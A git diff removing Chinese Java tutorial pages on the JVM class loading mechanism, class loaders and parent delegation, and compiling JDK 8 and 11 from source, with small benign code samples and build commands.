-- 常量池包含了类、接口、字段和方法的符号引用,以及字符串字面量和数值常量。 -- 访问标记用于识别类或接口的访问信息,比如说是不是 public | private | protected,是不是 static,是不是 final 等。 -- 类索引、父类索引和接口索引用来确定类的继承关系。 -- 字段表用来存储字段的信息,包括字段名,字段的参数,字段的签名。 -- 方法表用来存储方法的信息,包括方法名,方法的参数,方法的签名。 -- 属性表用来存储属性的信息,包括字段的初始值,方法的字节码指令等。 - -相信大家看完这篇内容应该能对 class 文件有一个比较清晰的认识了。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/class-load.md b/docs/src/jvm/class-load.md deleted file mode 100644 index 268b6555ea..0000000000 --- a/docs/src/jvm/class-load.md +++ /dev/null @@ -1,313 +0,0 @@ ---- -title: 一文彻底搞懂 Java 类加载机制 -shortTitle: Java的类加载机制 -category: - - Java核心 -tag: - - Java虚拟机 -description: Java的类加载机制通过类加载器和类加载过程的合作,确保了Java程序的动态加载、灵活性和安全性。双亲委派模型进一步增强了这种机制的安全性和类之间的协调性。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,类加载机制,类加载器,类加载过程,双亲委派模型 ---- - - -[上一节](https://javabetter.cn/jvm/how-run-java-code.html)在讲 JVM 运行 Java 代码的时候,我们提到,JVM 需要将编译后的字节码文件加载到其内部的运行时数据区域中进行执行。这个过程涉及到了 Java 的类加载机制(面试常问的知识点),所以我们来详细地讲一讲。 - -![Java 的类加载机制](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/how-run-java-code-91dac706-1c4e-4775-bc4e-b2104283aa04.png) - -字节码我们[上一节](https://javabetter.cn/jvm/how-run-java-code.html)也讲过,它和类的加载机制息息相关,相信大家都还有印象。 - -这里再给大家普及一个小技巧,可以通过 xxd 命令来查看字节码文件,先看下面这段代码。 - -```java -public class Test { - public static void main(String[] args) { - System.out.println("沉默王二"); - } -} -``` - -代码编译通过后,在命令行执行 `xxd Test.class`(macOS 用户可以直接执行,Windows 用户可以戳[这个链接](https://superuser.com/questions/497953/convert-hex-dump-of-file-to-binary-program-file-on-windows/638850#638850)获取替代品)就可以快速查看字节码的十六进制内容。 - -> xxd 是一个用于在终端中创建十六进制转储(hex dump)或将十六进制转回二进制的工具。可通过[维基百科](https://zh.wikipedia.org/zh-sg/%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E8%BD%AC%E5%82%A8)了解更多信息。 - -``` -00000000: cafe babe 0000 0034 0022 0700 0201 0019 .......4."...... -00000010: 636f 6d2f 636d 6f77 6572 2f6a 6176 615f com/cmower/java_ -00000020: 6465 6d6f 2f54 6573 7407 0004 0100 106a demo/Test......j -00000030: 6176 612f 6c61 6e67 2f4f 626a 6563 7401 ava/lang/Object. -00000040: 0006 3c69 6e69 743e 0100 0328 2956 0100 .....()V.. -00000050: 0443 6f64 650a 0003 0009 0c00 0500 0601 .Code........... -00000060: 000f 4c69 6e65 4e75 6d62 6572 5461 626c ..LineNumberTabl -``` - -这里只说一点,这段字节码中的 `cafe babe` 被称为“魔数”,是 JVM 识别 .class 文件(字节码文件)的标志,相信大家都知道,Java 的 logo 是一杯冒着热气的咖啡,是不是又关联上了? - -![Java 的 logo](https://cdn.paicoding.com/tobebetterjavaer/images/overview/two-02.png) - -> 文件格式的定制者可以自由选择魔数值(只要没用过),比如说 .png 文件的魔数是 `8950 4e47`。 - -至于字节码文件中的其他内容,暂时先不用去管,我们后面会详细讲解。 - -## 类加载过程 - -知道什么是 Java 字节码后,我们来聊聊 Java 的类加载过程。 - -![类加载过程](https://cdn.paicoding.com/stutymore/class-load-20231031202641.png) - -类从被加载到 JVM 开始,到卸载出内存,整个生命周期分为七个阶段,分别是加载、验证、准备、解析、初始化、使用和卸载。其中验证、准备和解析这三个阶段统称为连接。 - -除去使用和卸载,就是 Java 的类加载过程。这 5 个阶段一般是顺序发生的,但在动态绑定的情况下,解析阶段发生在初始化阶段之后(我们随后来解释)。 - -### 1)Loading(载入) - -JVM 在该阶段的目的是将字节码从不同的数据源(可能是 class 文件、也可能是 jar 包,甚至网络)转化为二进制字节流加载到内存中,并生成一个代表该类的 `java.lang.Class` 对象(在学[反射](https://javabetter.cn/basic-extra-meal/fanshe.html)的时候有讲过)。 - -### 2)Verification(验证) - -JVM 会在该阶段对二进制字节流进行校验,只有符合 JVM 字节码规范的才能被 JVM 正确执行。该阶段是保证 JVM 安全的重要屏障,下面是一些主要的检查。 - ->读者飞 2025 年 2 月 22 日 提供的修改建议。 - -- 确保二进制字节流格式符合预期(比如说是否以 `cafe babe` 开头,前面提到过)。 -- 是否所有方法都遵守[访问控制关键字](https://javabetter.cn/oo/access-control.html)的限定,protected、private 那些。 -- 方法调用的参数个数和类型是否正确。 -- 确保变量在使用之前被正确初始化了。 -- 检查变量是否被赋予恰当类型的值。 -- 还有更多。 - -### 3)Preparation(准备) - -JVM 会在该阶段对类变量(也称为[静态变量](https://javabetter.cn/oo/static.html),`static` 关键字修饰的)分配内存并初始化,对应数据类型的默认初始值,如 0、0L、null、false 等。 - -也就是说,假如有这样一段代码: - -```java -public String chenmo = "沉默"; -public static String wanger = "王二"; -public static final String cmower = "沉默王二"; -``` - -chenmo 不会被分配内存,而 wanger 会;但 wanger 的初始值不是“王二”而是 `null`。 - -需要注意的是,`static final` 修饰的变量被称作为常量,和类变量不同(这些在讲 [static 关键字](https://javabetter.cn/oo/static.html)就讲过了)。常量一旦赋值就不会改变了,所以 cmower 在准备阶段的值为“沉默王二”而不是 `null`。 - -### 4)Resolution(解析) - -该阶段将常量池中的符号引用转化为直接引用。 - -what?符号引用,直接引用? - -**符号引用**以一组符号(任何形式的字面量,只要在使用时能够无歧义的定位到目标即可)来描述所引用的目标。 - -在编译时,Java 类并不知道所引用的类的实际地址,因此只能使用符号引用来代替。比如 `com.Wanger` 类引用了 `com.Chenmo` 类,编译时 Wanger 类并不知道 Chenmo 类的实际内存地址,因此只能使用符号 `com.Chenmo`。 - -**直接引用**通过对符号引用进行解析,找到引用的实际内存地址。我们再来对比说明一下。 - -**符号引用** - -- **定义**:包含了类、字段、方法、接口等多种符号的全限定名。 -- **特点**:在编译时生成,存储在编译后的[字节码文件](https://javabetter.cn/jvm/class-file-jiegou.html)的常量池中。 -- **独立性**:不依赖于具体的内存地址,提供了更好的灵活性。 - -**直接引用** - -- **定义**:直接指向目标的指针、相对偏移量或者能间接定位到目标的句柄。 -- **特点**:在运行时生成,依赖于具体的内存布局。 -- **效率**:由于直接指向了内存地址或者偏移量,所以通过直接引用访问对象的效率较高。 - -下面通过一张简化的图来描述它们的区别: - -![](https://cdn.paicoding.com/stutymore/class-load-20231110154602.png) - -在上面的例子中: - -- `class A` 引用了 `class B`。 -- 在编译时,这个引用变成了符号引用,存储在 `.class` 文件的常量池中。 -- 在运行时,当 `class A` 需要使用 `class B` 的时候,JVM 会将符号引用解析为直接引用,指向内存中的 `class B` 对象或其元数据。 - -通过这种方式,Java 程序能够在编译时和运行时具有更高的灵活性和解耦性,同时在运行时也能获得更好的性能。 - -Java 本身是一个静态语言,但后面又加入了动态加载特性,因此我们理解解析阶段需要从这两方面来考虑。 - -如果不涉及动态加载,那么一个符号的解析结果是可以缓存的,这样可以避免多次解析同一个符号,因为第一次解析成功后面多次解析也必然成功,第一次解析异常后面重新解析也会是同样的结果。 - -如果使用了动态加载,前面使用动态加载解析过的符号后面重新解析结果可能会不同。使用动态加载时解析过程发生在在程序执行到这条指令的时候,这就是为什么前面讲的动态加载时解析会在初始化后执行。 - -整个解析阶段主要做了下面几个工作: - -- 类或接口的解析 -- 类方法解析 -- 接口方法解析 -- 字段解析 - -### 5)Initialization(初始化) - -该阶段是类加载过程的最后一步。在准备阶段,类变量已经被赋过默认初始值,而在初始化阶段,类变量将被赋值为代码期望赋的值。换句话说,初始化阶段是执行类构造器方法([javap](https://javabetter.cn/jvm/bytecode.html) 中看到的 `()` 方法)的过程。 - -上面这段话可能说得很抽象,不好理解,我来举个例子。 - -```java -String cmower = new String("沉默王二"); -``` - -上面这段代码使用了 `new` 关键字来实例化一个字符串对象,那么这时候,就会调用 String 类的构造方法对 cmower 进行实例化。 - -```java -public String(String original) { - this.value = original.value; - this.hash = original.hash; -} -``` - -初始化时机包括以下这些: - -- 创建类的实例时。 -- 访问类的静态方法或静态字段时(除了 final 常量,它们在编译期就已经放入常量池)。 -- 使用 java.lang.reflect 包的方法对类进行反射调用时。 -- 初始化一个类的子类(首先会初始化父类)。 -- JVM 启动时,用户指定的主类(包含 main 方法的类)将被初始化。 - -## 类加载器 - -聊完类加载过程,就不得不聊聊类加载器。 - -![](https://cdn.paicoding.com/stutymore/what-is-jvm-20231030185834.png) - -一般来说,Java 程序员并不需要直接同类加载器进行交互。JVM 默认的行为就已经足够满足大多数情况的需求了。不过,如果遇到了需要和类加载器进行交互的情况,而对类加载器的机制又不是很了解的话,就不得不花大量的时间去调试 -`ClassNotFoundException` 和 `NoClassDefFoundError` 等[异常](https://javabetter.cn/exception/gailan.html)(前面讲过)。 - -对于任意一个类,都需要由它的类加载器和这个类本身一同确定其在 JVM 中的唯一性。也就是说,如果两个类的加载器不同,即使两个类来源于同一个字节码文件,那这两个类就必定不相等(比如两个类的 Class 对象不 `equals`)。 - -来通过一段简单的代码了解下。 - -```java -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class Test { - public static void main(String[] args) { - ClassLoader loader = Test.class.getClassLoader(); - while (loader != null) { - System.out.println(loader); - loader = loader.getParent(); - } - } -} -``` - -每个 Java 类都维护着一个指向定义它的类加载器的引用,通过 `类名.class.getClassLoader()` 可以获取到此引用;然后通过 `loader.getParent()` 可以获取类加载器的上层类加载器。 - -上面这段代码的输出结果如下: - -``` -jdk.internal.loader.ClassLoaders$AppClassLoader@512ddf17 -jdk.internal.loader.ClassLoaders$PlatformClassLoader@2d209079 -``` - -第一行输出为 Test 的类加载器,即应用类加载器,它是 `jdk.internal.loader.ClassLoaders$AppClassLoader` 类的实例;第二行输出为平台类加载器,是 `jdk.internal.loader.ClassLoaders$PlatformClassLoader` 类的实例。那启动类加载器呢? - -按理说,扩展类加载器的上层类加载器是启动类加载器,但启动类加载器是虚拟机的内置类加载器,通常表示为 null。 - -也就是说,类加载器可以分为四种类型: - -①、引导类加载器(Bootstrap ClassLoader):负责加载 JVM 基础核心类库,如 rt.jar、sun.boot.class.path 路径下的类。 - -②、扩展类加载器(Extension ClassLoader):负责加载 Java 扩展库中的类,例如 jre/lib/ext 目录下的类或由系统属性 java.ext.dirs 指定位置的类。 - -③、系统(应用)类加载器(System ClassLoader):负责加载系统类路径 java.class.path 上指定的类库,通常是你的应用类和第三方库。 - -④、用户自定义类加载器:Java 允许用户创建自己的类加载器,通过继承 java.lang.ClassLoader 类的方式实现。这在需要动态加载资源、实现模块化框架或者特殊的类加载策略时非常有用。 - -```java -import java.io.*; - -public class CustomClassLoader extends ClassLoader { - - private String pathToBin; - - public CustomClassLoader(String pathToBin) { - this.pathToBin = pathToBin; - } - - @Override - protected Class findClass(String name) throws ClassNotFoundException { - try { - byte[] classData = loadClassData(name); - return defineClass(name, classData, 0, classData.length); - } catch (IOException e) { - throw new ClassNotFoundException("Class " + name + " not found", e); - } - } - - private byte[] loadClassData(String name) throws IOException { - String file = pathToBin + name.replace('.', File.separatorChar) + ".class"; - InputStream is = new FileInputStream(file); - ByteArrayOutputStream byteSt = new ByteArrayOutputStream(); - int len = 0; - while ((len = is.read()) != -1) { - byteSt.write(len); - } - return byteSt.toByteArray(); - } -} -``` - -这个自定义类加载器做了以下几件事情: - -- 构造器:接受一个字符串参数,这个字符串指定了类文件的存放路径。 -- 覆写 findClass 方法:当父类加载器无法加载类时,findClass 方法会被调用。在这个方法中,首先使用 loadClassData 方法读取类文件的字节码,然后调用 defineClass 方法来将这些字节码转换为 Class 对象。 -- loadClassData 方法:读取指定路径下的类文件内容,并将内容作为字节数组返回。 - -## 双亲委派模型 - -双亲委派模型(Parent Delegation Model)是 Java 类加载器使用的一种机制,用于确保 Java 程序的稳定性和安全性。在这个模型中,类加载器在尝试加载一个类时,首先会委派给其父加载器去尝试加载这个类,只有在父加载器无法加载该类时,子加载器才会尝试自己去加载。 - -1. **委派给父加载器**:当一个类加载器接收到类加载的请求时,它首先不会尝试自己去加载这个类,而是将这个请求委派给它的父加载器。 - -2. **递归委派**:这个过程会递归向上进行,从启动类加载器(Bootstrap ClassLoader)开始,再到扩展类加载器(Extension ClassLoader),最后到系统类加载器(System ClassLoader)。 - -3. **加载类**:如果父加载器可以加载这个类,那么就使用父加载器的结果。如果父加载器无法加载这个类(它没有找到这个类),子加载器才会尝试自己去加载。 - -4. **安全性和避免重复加载**:这种机制可以确保不会重复加载类,并保护 Java 核心 API 的类不被恶意替换。 - -类加载器的层级结构如下图所示: - -``` -Bootstrap ClassLoader - ↑ - │ -Extension ClassLoader - ↑ - │ -System/Application ClassLoader - ↑ - │ -Custom ClassLoader -``` - -这种层次关系被称作为**双亲委派模型**:如果一个类加载器收到了加载类的请求,它会先把请求委托给上层加载器去完成,上层加载器又会委托上上层加载器,一直到最顶层的类加载器;如果上层加载器无法完成类的加载工作时,当前类加载器才会尝试自己去加载这个类。 - -PS:双亲委派模型突然让我联想到朱元璋同志,这个同志当上了皇帝之后连宰相都不要了,所有的事情都亲力亲为,只有自己没精力没时间做的事才交给大臣们去干。 - -使用双亲委派模型有一个很明显的好处,那就是 Java 类随着它的类加载器一起具备了一种带有优先级的层次关系,这对于保证 Java 程序的稳定运作很重要。 - -上文中曾提到,如果两个类的加载器不同,即使两个类来源于同一个字节码文件,那这两个类就必定不相等——双亲委派模型能够保证同一个类最终会被特定的类加载器加载。 - -## 小结 - -Java 的类加载机制通过类加载器和类加载过程的合作,确保了 Java 程序的动态加载、灵活性和安全性。双亲委派模型进一步增强了这种机制的安全性和类之间的协调性。 - -学习就是这样,只要你敢于挑战自己,就能收获知识——就像山就在那里,只要你肯攀登,就能到达山顶。 - -> 参考链接:[详解 Java 类加载过程](https://anye3210.github.io/2021/08/02/%E8%AF%A6%E8%A7%A3Java%E7%B1%BB%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B/) - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/jvm/compile-jdk.md b/docs/src/jvm/compile-jdk.md deleted file mode 100644 index 4682622640..0000000000 --- a/docs/src/jvm/compile-jdk.md +++ /dev/null @@ -1,371 +0,0 @@ ---- -title: 自己编译JDK -shortTitle: 自己编译JDK -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,自己编译JDK -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,JDK ---- - - - -很多小伙伴们做`Java`开发,天天写`Java`代码,肯定离不开`Java`基础环境:`JDK`,毕竟我们写好的`Java`代码也是跑在`JVM`虚拟机上。 - -一般来说,我们学`Java`之前,第一步就是安装`JDK`环境。这个简单啊,我们一般直接把`JDK`从官网下载下来,安装完成,配个环境变量就可以愉快地使用了。 - -不过话说回来,对于这个天天使用的东西,我们难道不好奇这玩意儿它到底是怎么由源码编译出来的吗? - -带着这个原始的疑问,今天准备大干一场,自己动动呆萌的小手,来编译一个属于自己的`JDK`吧! - -## 环境准备 - -> 首选说在前面的是,编译前的软件版本关系极其重要,自己在踩坑时,所出现的各种奇奇怪怪的问题几乎都和这个有关,后来版本匹配之后,就非常顺利了。 - -我们来**盘点和梳理**一下编译一个JDK需要哪些环境和工具: - -### **1、boot JDK** - -我们要想编译`JDK`,首先自己本机必须提前已经安装有一个`JDK`,官方称之为`bootstrap JDK`(或者称为`boot JDK`)。 - -比如想编译`JDK 8`,那本机必须最起码得有一个`JDK 7`或者更新一点的版本;你想编译`JDK 11`,那就要求本机必须装有`JDK 10`或者`11`。 - -> 所以鸡生蛋、蛋生鸡又来了... - -### **2、Unix环境** - -编译`JDK`需要`Unix`环境的支持! - -这一点在`Linux`操作系统和`macOS`操作系统上已经天然的保证了,而对于`Windows`兄弟来说稍微麻烦一点,需要通过使用`Cygwin`或者`MinGW/MSYS`这种软件来模拟。 - -就像官方所说:在`Linux`平台编译`JDK`一般问题最少,容易成功;`macOS`次之;`Windows`上则需要稍微多花点精力,问题可能也多一些。 - -究其本质原因,还是因为`Windows`毕竟不是一个`Unix-Like`内核的系统,毕竟很多软件的原始编译都离不开`Unix Toolkit`,所以相对肯定要麻烦一些。 - -### **3、编译器/编译工具链** - -`JDK`底层源码(尤其`JVM`虚拟机部分)很多都是`C++/C`写的,所以相关编译器也跑不掉。 - -一图胜千言,各平台上的编译器支持如下表所示,按平台选择即可: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-3b66d5b6-272f-47bd-88f7-47146a06ef06.png) - - -### **4、其他工具** - -典型的比如: - -* `Autoconf`:软件源码包的自动配置工具 -* `Make`:编译构建工具 -* `freetype`:一个免费的渲染库,`JDK`图形化部分的代码可能会用它 - -好,环境盘点就到这里,接下来具体列一下我在编译`JDK 8`和`JDK 11`时分别用到的软件详细版本信息: - -**编译JDK 8时:** - -* `操作系统`:macOS 10.11.6 -* `boot JDK`:JDK 1.8.0 (build 1.8.0_201-b09) -* `Xcode版本`:8.2 -* `编译器`:Version 8.0.0 (at /usr/bin/clang) - -**编译JDK 11时:** - -* `操作系统`:macOS 10.15.4 -* `boot JDK`:JDK 11.0.7 (build 11.0.7+8-LTS) -* `Xcode版本`:11.5 -* `编译器`:Version 11.0.3 (at /usr/bin/clang) - -大家在编译时如果过程中有很多问题,大概率少软件没装,或者软件版本不匹配,不要轻易放弃,需要耐心自查一下。 - -* * * - -## 下载JDK源码 - -下载`JDK`源码其实有两种方式。 - -### **方式一:通过Mercurial工具下载** - -`Mercurial`可以理解为和`Git`一样,是另外一种代码管理工具,安装好之后就有一个`hg`命令可用。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-cd8a19ba-e9f5-4a4a-a23c-17688f0f459d.png) - - -而`OpenJDK`的源码已经提前托管到`http://hg.openjdk.java.net/`。 - -因此,比如下载`JDK 8`,可直接`hg clone`一下就行,和`git clone`一样: - -`hg clone [http://hg.openjdk.java.net/jd...](https://link.segmentfault.com/?enc=Snt8gNbYV7nkV3etTe%2FGJw%3D%3D.7IrUNCuc0HOEyvjCiCBOPMEBJ09bjLifieJi0I7iwtuuIeYUdSfCkC9c4D7z9wdq) -` - -同理,下载`JDK 11`: - -`hg clone [http://hg.openjdk.java.net/jd...](https://link.segmentfault.com/?enc=BnHqAYXzfRcVfPgGgo1yOw%3D%3D.011np6%2FiCLuojl%2FBtvROkTVXr0PSdMYcYpAg2WUIE045BEFIrbCNAD42vWwIUb3d) -` - -但是这种方式下载速度不是很快。 - -### **方式二:直接下载打包好的源码包** - -下载地址:`https://jdk.java.net/` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-1bbbb1f8-da01-46e1-a793-487a25193c68.png) - - -选择你想要的版本下载即可。 - -* * * - -### 编译前的自动配置 - -源码包下载好,放到本地某个目录(建议路径纯英文,避免不必要的麻烦),解压之,然后进入源码根目录,执行: - -`sh configure -` - -> 当然这里运行的是默认配置项。 - -这一步会进行一系列的自动配置工作,时间一般很快,最终如果能出现一下提示,那么很幸运,编译前的配置工作就完成了! - -这里我给出我自己分别在配置`JDK 11`和`JDK 8`时候完成时的样子: - -**配置JDK 8完成:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-27593edc-03e2-4a42-baf3-ed5e5096b3cb.png) - - -**配置JDK 11完成:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-8526d944-a36e-4d37-93a0-9ad4ad53f927.png) - - -**注:** 如果这一步出错,大概率是某个软件环境未装,或者即使装了,但版本不匹配,控制台打印日志里一般是会提醒的。 - -比如我在配置`JDK 8`的时候,就遇到了一个`errof:GCC compiler is required`的问题: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-2957399f-6451-46dc-a003-76e5159265e9.png) - - -明明系统里已经有编译器,但还是报这个错误。通过后来修改 `jdk源码根目录/common/autoconf/generated-configure.sh`文件,将相关的两行代码注释后就配置通过了 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-ffa10d36-3a77-48aa-ae0c-d3daf67f9a19.png) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-a6f6e416-639e-4706-8b40-6152eb3cf85d.png) - - -配置完成,接下来开始执行真正的编译动作了! - -* * * - -## 真正的编译动作 - -我们这里进行的是全量编译,直接在我们下载的`JDK`源码根目录下执行如下命令即可: - -`make all -` - -这一步编译需要一点时间,耐心等待一下即可。编译过程如果有错误,会终止编译,如果能看到如下两个画面,那么则恭喜你,自己编译`JDK`源码就已经通过了,可以搞一杯咖啡庆祝一下了。 - -**JDK 8编译完成:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-89020f5a-0909-4c57-8c88-f655293a42a4.png) - - -**JDK 11编译完成:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-993fac94-2473-4f3b-9737-959510d2fe98.png) - - -从两张图的对比可以看出,编译`JDK 8`和`JDK 11`完成时在输出上还是有区别的。时间上的区别很大程度上来源于`JDK 11`的编译机配置要高不少。 - -* * * - -## 验证成果 - -`JDK`源码编译完成之后肯定会产生和输出很多产物,这也是我们所迫不及待想看到的。 - -由于`JDK 8`和`JDK 11`的源码包组织结构并不一样,所以输出东西的内容和位置也有区别。我们一一来盘点一下。 - -### **1、JDK 8的编译输出** - -编译完成,`build`目录下会生成一个`macosx-x86_64-normal-server-release`目录,所有的编译成果均位于其中。 - -首先,编译出来的`Java`可执行程序可以在如下目录里找到: - -`jdk源码根目录/build/macosx-x86_64-normal-server-release/jdk/bin` - -进入该目录后,可以输入`./java -version`命令验证: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-f02dff40-f27e-476c-998b-bd6cdb5d3559.png) - - -其次,编译生成的成品`JDK`套装,可以在目录 - -`jdk源码根目录/build/macosx-x86_64-normal-server-release/images -` - -下找到,如图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-1c781d34-776e-4acc-8d2b-b34bc59fda61.png) - - -其中: - -* `j2sdk-image`:编译生成的JDK -* `j2re-image`:编译生成的JRE - -进入`j2sdk-image`目录会发现,里面的内容和我们平时从网络上下载的成品`JDK`内容一致。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-7b7f147e-58c9-4eb5-b407-b8984cd72e1d.png) - - -### **2、JDK 11的编译输出** - -> JDK 11的源码目录组织方式和JDK 8本身就有区别,编译生成的产物和上面编译JDK 8的输出有一定区别,但也不大。 - -`JDK 11`编译完成,同样在`build`目录下会生成一个`macosx-x86_64-normal-server-release`目录,所有的编译成果均位于其中。 - -同样编译出来的Java可执行程序可以在目录 - -`JDK源码根目录/build/macosx-x86_64-normal-server-release/jdk/bin` - -下看到,进入该目录后,也可以输入`./java -version`命令验证: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-f9b55425-f308-44e8-8812-ac59b2707c81.png) - - -其次,编译生成的成品`JDK 11`套装,可以在目录 - -`JDK源码根目录/build/macosx-x86_64-normal-server-release/images -` - -下找到,如图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-4e96858f-f681-4498-b1c4-282d317a6a32.png) - - -其中`jdk`目录就是编译生成的成品`JDK 11`套装。 - -* * * - -## 使用自己编译的JDK - -既然我们已经动手编译出了`JDK`成品,接下来我们得用上哇。 - -新建一个最最基本的`Java`工程,比如命名为`JdkTest`,目的是把我们自己编译出的`JDK`给用上。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-2cf54b29-9b7e-46b2-8cde-4c36960aa09b.png) - - -我们点开`Project Structure`,选到`SDKs`选项,新添加上自己刚刚编译生成的JDK,并选为项目的JDK,看看是否能正常工作 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-ad8023d0-fbb7-48b1-856e-a8818677a0a5.png) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-b8d87f09-6178-44c7-9572-a2852e81318d.png) - - -点击确定之后,我们运行之: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-3164cf31-8078-46d7-bee0-22e05b0c08de.png) - - -可以看到我们自己编译出的JDK已经用上了。 - -* * * - -## 关联JDK源码并修改 - -我们继续在上一步`JdkTest`项目的`Project Structure` → `SDKs`里将`JDK`源码关联到自行下载的JDK源码路径上: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-129ede68-c368-461e-92d6-38a8e5dee344.png) - - -这样方便我们对自己下载的`JDK源码`进行**阅读**、**调试**、**修改**、以及在源码里随意**做笔记**和**加注释**。 - -举个最简单的例子,比如我们打开`System.out.println()`这个函数的底层源码: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-c406b2a2-208a-4a54-a869-b3f526e93ccd.png) - - -我们随便给它修改一下,加两行简单的标记,像这样: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-2a46b215-04e5-458a-b475-4dc31d7fe326.png) - - -为了使我们新加的代码行生效,我们必须要重新去JDK源码的根目录中再次执行 `make images`重新编译生成JDK方可生效: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-fd3cf88d-007e-4615-99b5-a3499c35ef40.png) - - -因为之前已经全量编译过了,所以再次`make`的时候增量编译一般很快。 - -重新编译之后,我们再次运行`JdkTest`项目,就可以看到改动的效果了: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-33dc0de6-2690-4ba2-9fe7-0e450c44c07b.png) - - -* * * - -## 多行注释的问题 - -记得之前搭建[《JDK源码阅读环境》](https://link.segmentfault.com/?enc=JrtwTM%2BhTi%2B7DiRtBYeZSQ%3D%3D.T2U2BwPhK3iqeNk%2B%2BMuGttrqlD2zy9v1C%2BqYPvIYEvcvkTe1xyPrnnb%2FdaTGkBqY)时,大家可能发现了一个问题:阅读源码嘛,给源代码做点注释或笔记很常见!但那时候有个问题就是做注释时**不可改变代码的行结构**(只能行尾注释,不能跨行注释),否则debug调试时会出现**行号错位**的问题。 - -原因很简单,因为我们虽然做了源代码目录的映射,但是实际支撑运行的`JDK`还是预先安装好的那个JDK环境,并不是根据我们修改后的源码来重新编译构建的,所以看到这里,解决这个问题就很简单,就像上面一样自行编译一下`JDK`即可。 - -实际在实验时,还有一个很典型的问题是,当添加了多行的中文注释后,再编译居然会报错! - -比如,还是以上面例子中最简单的`System.out.println()`源码为例,我们添加几行中文注释: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-d6a44833-b908-4824-8862-1679bfdddfa3.png) - - -这时候我们去JDK源码目录下编译会发现满屏类似这样的报错: - -> 错误: 编码 ascii 的不可映射字符 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-ad0ca5a3-36c7-477d-bd58-d6731a87d762.png) - - -顿时有点懵,毕竟仅仅是加了几行注释。对于我们来说,源码里写点多行的中文注释基本是**刚需**,然而编译竟会报错,这还能不能让人愉快的玩耍了... 当时后背有点发凉。 - -实不相瞒,就这个问题排查了一段时间,熬到了很晚。最终折腾了一番,通过如下这种方式解决了,顺便分享给小伙伴们,大家如果遇到了这个问题,可以参考着解决一下。 - -因为从控制台的报错可以很明显的看出,肯定是字符编码相关的问题导致的,而且都指向了`ascii`这种编码方式。 - -于是将JDK的源码从根目录导入了Vs Code,然后全目录查找`encoding ascii`相关的内容,看看有没有什么端倪,结果发现 - -`jdk源码根目录/make/common/SetupJavaCompilers.gmk`文件中有两处指定了`ascii`相关的编码方式: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-a86933af-f6d5-4d45-b4ca-33069a212c52.png) - - -于是尝试将这两处`-encoding ascii`的均替换成`-encoding utf-8`: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/compile-jdk-c8117faf-d027-48d3-869b-32d0e98e8372.png) - - -然后再次执行`make images`编译,编译顺利通过! - - -至此大功告成! - -这样后面不管是**阅读**、**调试**还是**定制**`JDK`源码都非常方便了。 - ---- - 